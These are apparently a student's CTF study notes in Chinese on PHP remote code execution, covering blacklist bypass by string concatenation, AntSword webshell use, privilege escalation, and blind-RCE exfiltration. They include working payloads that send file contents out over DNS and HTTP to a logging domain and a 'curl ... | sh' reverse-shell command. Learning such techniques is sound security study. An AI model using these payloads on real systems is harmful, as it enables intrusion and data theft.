寒假学web--day03
简介
今天学的主要是php的代码执行,包括一些蚁剑的使用,无回显的情况
rce
rce其实有两种
- remote command exec
- remote code exec
command指的是操作系统的命令
code指的是脚本语言的代码
php代码执行中可能遇到的一些函数
eval
eval(字符串) 表示将字符串按照php的代码执行
call_user_func
该函数的第一个参数作为回调函数调用,其余参数作为回调函数的参数
注意:eval是语言结构而不算函数,所以不能作为回调函数来调用
call_user_func_array
php动态函数调用
命令执行和代码执行的区别
前者执行的是系统命令,后者执行脚本语言代码
存在黑名单过滤
如果仅仅在代码中过滤了函数名称,大概率相当于没有过滤,直接使用拼接法就可以绕过
比如ban了system,可以?cmd=$a=sys;$b=tem;$c=$a$b;$c($_POST[1]);
再1=ls / 来进行命令执行
但是如果再配置文件中禁用的话,拼接法就没用了
关于php标签
最常用的:<?php ?>
短标记:<?= ?> (带回显)
<? ?> (不带回显)
ASP风格标记: <% %> 仅在一些情况下适用
脚本标记:<scrip language="php"> </script>
注意:结束标签可以作为最后一个语句的结束符,所以最后一句php代码可以不写分号,或者最后一句代码写分号,不写结束标签
php中给数组传值的方式
?1[]=aaa
蚁剑的一些用法
get转post
get方式提交的参数是不能用蚁剑连接的,比如eval($_GET[1]);
我们可以转换一些,在传参时传入?1=eval($_POST[1]);
然后再用蚁剑连接
编码绕过禁用函数
有时函数被禁用了,在用蚁剑连接时,显示返回值为空,比如eval被ban了,我们可以缓存assert,再使用编码器就可以绕过
使用虚拟终端
有的时候蚁剑脸上之后,直接查看flag的文件内容看不到,可以试试虚拟终端里执行cat flag
绕过disabled function
有时连上蚁剑之后权限不够,不能执行命令,我们可以使用绕过disabled function插件提权,里面有很多模式,不知道怎么选时可以都尝试一下,对照一下需要的条件是否满足,如果是上传代理文件,直接连接这个代理文件,密码不变就行。
suid提权
蚁剑中,权限受限时,可以使用插件,选择信息获取,选择搜索rwx目录&suid提权文件,在里面搜索www-data ,sudo 等等,如果没搜到可以多试几次,找到一些能用的命令文件,使用这些命令来执行操作
ban掉了数字和字母的代码执行
可以通过异或,或,取反等操作,用非数字字母的符号来组合出数字字母,如@^!就相当于字母a
可以编写脚本来自动实现此功能
无回显的命令执行
需要一个通道,即数据传输的途径
重定向写入文件,二次返回
?cmd=ls > 1.txt 然后再访问1.txt文件就能看到结果
dns信道
利用dnslog.cn,先拿到他给的域名
然后?cmd=ping -c 1 `whoami`域名
这样就能把whoami的执行结果带出去,显示在dnslog网站里
但是直接这样的话内容量小,不能换行
改进:?cmd=a=`sed -n "3,4p"flag.php`;curl ${a:0:10}.域名
使用sed命令将flag.php文件的三到四行存到a中,然后使用curl发包,把a的第0行往后的十行发出去。
如果出现无法发包的情况,这是因为遇到了不是url的字符,可以先把a的内容进行base64编码
?cmd=a=`sed -n "3,4p"flag.php | base64`;curl ${a:0:10}.域名
然后再{a:10:30}这样一段一段拿到结果,再base64解码
http信道
首先进入网站复制给出的域名
然后?cmd=curl http://域名/?1=`ls | base64`发出去之后,可以在网站里收到请求
反弹shell信道
首先你需要有一个公网ip
首先在服务器上监听一个端口 nc -lvvnp 3389
然后?cmd=curl http://your-shell.com/公网ip:3389 | sh
发包之后,就可以在服务器上进行命令交互了
基于时间延时逐个字符判断
该方法就是利用sleep 3这种,逐个判断字符是否正确来得到结果,理论上可行,但浪费时间

浙公网安备 33010602011771号